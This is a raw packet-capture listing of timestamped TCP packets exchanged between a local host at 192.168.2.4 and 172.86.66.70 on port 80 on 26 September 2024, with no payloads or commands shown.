Sep 26, 2024 12:12:22.082752943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082758904 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082761049 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.082768917 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082807064 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.082879066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082882881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082889080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082894087 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082942963 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.082942963 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.082967043 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082973003 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083033085 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083085060 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083093882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083096027 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083097935 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083103895 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083106041 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083111048 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083147049 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083214045 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083311081 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083317041 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083327055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083331108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083340883 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083345890 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083357096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083359003 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083363056 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083408117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083408117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083528042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083534002 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083539963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083548069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083585024 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083586931 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083590984 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083595991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083606005 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083636045 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083650112 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083838940 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083853960 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083863974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083864927 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083872080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083900928 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083985090 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.083991051 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.083997011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084032059 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084145069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084151030 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084155083 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084161043 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084166050 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084171057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084176064 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084181070 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084186077 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084192991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084193945 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084202051 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084208965 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084224939 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084224939 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084254026 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084254026 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084553957 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084558964 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084569931 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084574938 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084579945 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084585905 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084640026 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084640026 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084692955 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084862947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084867954 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084877014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084882021 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084887028 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084892035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084896088 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084907055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084912062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084917068 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084928036 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084928989 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084928989 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084933996 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084939003 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084944963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.084978104 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.084991932 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.085426092 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085431099 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085441113 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085445881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085455894 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085460901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085467100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085473061 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085477114 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.085479021 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085484028 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085489988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085506916 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.085506916 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.085551977 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.085901976 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085906982 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085922003 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085927963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085937023 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085942030 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085947037 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085952044 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085954905 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.085958004 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085963011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085973978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085978031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085983038 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085990906 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.085990906 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.085992098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.085998058 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.086007118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.086013079 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.086016893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.086026907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.086034060 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.086039066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.086040020 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.086040020 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.086064100 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.117646933 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.117667913 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.117672920 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.117708921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.117749929 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.117784023 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.117789030 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.117800951 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.117805004 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.117953062 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.160674095 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.169627905 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169682980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169687986 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169737101 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.169760942 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169766903 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169778109 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169823885 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.169892073 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169898987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169909000 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169913054 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169919014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169924021 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169934988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.169944048 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.169956923 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170006990 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170068026 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170073032 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170124054 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170166969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170171976 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170181990 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170187950 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170192003 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170213938 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170233011 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170300961 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170305967 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170411110 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170416117 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170425892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170427084 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170433044 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170438051 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170443058 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170459986 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170471907 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170494080 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170681953 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170686960 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170697927 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170702934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170707941 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170711994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170717955 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170728922 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170733929 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170739889 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170746088 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170754910 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.170754910 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170754910 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170783043 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.170825958 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171179056 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171190977 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171200991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171205997 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171211958 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171216965 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171227932 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171232939 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171240091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171247005 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171247005 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171314955 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171504974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171510935 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171523094 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171529055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171534061 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171540022 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171552896 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171556950 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171562910 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171569109 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171576977 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171586990 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171586990 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171616077 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171634912 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171638012 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171642065 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171653032 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171658993 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171670914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171678066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171689034 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171694994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171699047 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171705961 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.171710968 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171710968 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171739101 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.171751976 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.172297001 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172307968 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172313929 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172323942 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172336102 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172343016 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172362089 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172368050 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172380924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172384977 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.172385931 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172393084 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172396898 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.172396898 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172410011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172415018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172427893 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.172427893 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.172445059 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.172485113 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.172943115 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172947884 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172965050 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172970057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172981024 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172986031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172991037 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.172997952 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173010111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173013926 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173021078 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173019886 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.173019886 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.173024893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173032045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173037052 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173048019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173053980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173055887 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.173055887 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.173059940 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173065901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173072100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173079014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.173105955 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.173141003 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.204665899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.204684973 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.204695940 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.204746962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.204752922 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.204761982 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.204802036 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.204827070 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.204833031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.204843044 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.204935074 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.256547928 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256598949 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256606102 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256675005 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.256705999 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256712914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256725073 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256731987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256766081 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.256829023 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256834984 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256848097 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256855011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256910086 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.256932974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256990910 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.256997108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257011890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257108927 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257116079 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257128000 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257133007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257150888 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257194996 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257194996 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257273912 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257280111 CEST	80	49753	172.86.66.70	192.168.2.4
